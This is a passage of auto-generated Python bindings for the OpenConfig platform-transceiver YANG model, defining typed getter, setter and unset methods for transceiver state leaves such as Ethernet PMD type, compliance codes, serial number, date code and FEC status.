'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ethernet_pmd must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__ethernet_pmd = t if hasattr(self, '_set'): self._set() def _unset_ethernet_pmd(self): self.__ethernet_pmd = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_sonet_sdh_compliance_code(self): """ Getter method for sonet_sdh_compliance_code, mapped from YANG variable /components/component/transceiver/state/sonet_sdh_compliance_code (identityref) YANG Description: SONET/SDH application code supported by the port """ return self.__sonet_sdh_compliance_code def _set_sonet_sdh_compliance_code(self, v, load=False): """ Setter method for sonet_sdh_compliance_code, mapped from YANG variable /components/component/transceiver/state/sonet_sdh_compliance_code (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_sonet_sdh_compliance_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_sonet_sdh_compliance_code() directly. YANG Description: SONET/SDH application code supported by the port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """sonet_sdh_compliance_code must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__sonet_sdh_compliance_code = t if hasattr(self, '_set'): self._set() def _unset_sonet_sdh_compliance_code(self): self.__sonet_sdh_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_otn_compliance_code(self): """ Getter method for otn_compliance_code, mapped from YANG variable /components/component/transceiver/state/otn_compliance_code (identityref) YANG Description: OTN application code supported by the port """ return self.__otn_compliance_code def _set_otn_compliance_code(self, v, load=False): """ Setter method for otn_compliance_code, mapped from YANG variable /components/component/transceiver/state/otn_compliance_code (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_otn_compliance_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_otn_compliance_code() directly. YANG Description: OTN application code supported by the port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """otn_compliance_code must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__otn_compliance_code = t if hasattr(self, '_set'): self._set() def _unset_otn_compliance_code(self): self.__otn_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_serial_no(self): """ Getter method for serial_no, mapped from YANG variable /components/component/transceiver/state/serial_no (string) YANG Description: Transceiver serial number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part serial number is undefined, all 16 octets = 0h """ return self.__serial_no def _set_serial_no(self, v, load=False): """ Setter method for serial_no, mapped from YANG variable /components/component/transceiver/state/serial_no (string) If this variable is read-only (config: false) in the source YANG file, then _set_serial_no is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_serial_no() directly. YANG Description: Transceiver serial number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part serial number is undefined, all 16 octets = 0h """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """serial_no must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__serial_no = t if hasattr(self, '_set'): self._set() def _unset_serial_no(self): self.__serial_no = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_date_code(self): """ Getter method for date_code, mapped from YANG variable /components/component/transceiver/state/date_code (oc-yang:date-and-time) YANG Description: Representation of the transceiver date code, typically stored as YYMMDD. The time portion of the value is undefined and not intended to be read. """ return self.__date_code def _set_date_code(self, v, load=False): """ Setter method for date_code, mapped from YANG variable /components/component/transceiver/state/date_code (oc-yang:date-and-time) If this variable is read-only (config: false) in the source YANG file, then _set_date_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_date_code() directly. YANG Description: Representation of the transceiver date code, typically stored as YYMMDD. The time portion of the value is undefined and not intended to be read. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """date_code must be of a type compatible with oc-yang:date-and-time""", 'defined-type': "oc-yang:date-and-time", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False)""", }) self.__date_code = t if hasattr(self, '_set'): self._set() def _unset_date_code(self): self.__date_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) def _get_fault_condition(self): """ Getter method for fault_condition, mapped from YANG variable /components/component/transceiver/state/fault_condition (boolean) YANG Description: Indicates if a fault condition exists in the transceiver """ return self.__fault_condition def _set_fault_condition(self, v, load=False): """ Setter method for fault_condition, mapped from YANG variable /components/component/transceiver/state/fault_condition (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_fault_condition is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fault_condition() directly. YANG Description: Indicates if a fault condition exists in the transceiver """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fault_condition must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False)""", }) self.__fault_condition = t if hasattr(self, '_set'): self._set() def _unset_fault_condition(self): self.__fault_condition = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) def _get_fec_status(self): """ Getter method for fec_status, mapped from YANG variable /components/component/transceiver/state/fec_status (identityref) YANG Description: Operational status of FEC """ return self.__fec_status def _set_fec_status(self, v, load=False): """ Setter method for fec_status, mapped from YANG variable /components/component/transceiver/state/fec_status (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_fec_status is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_status() directly. YANG Description: Operational status of FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_status must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 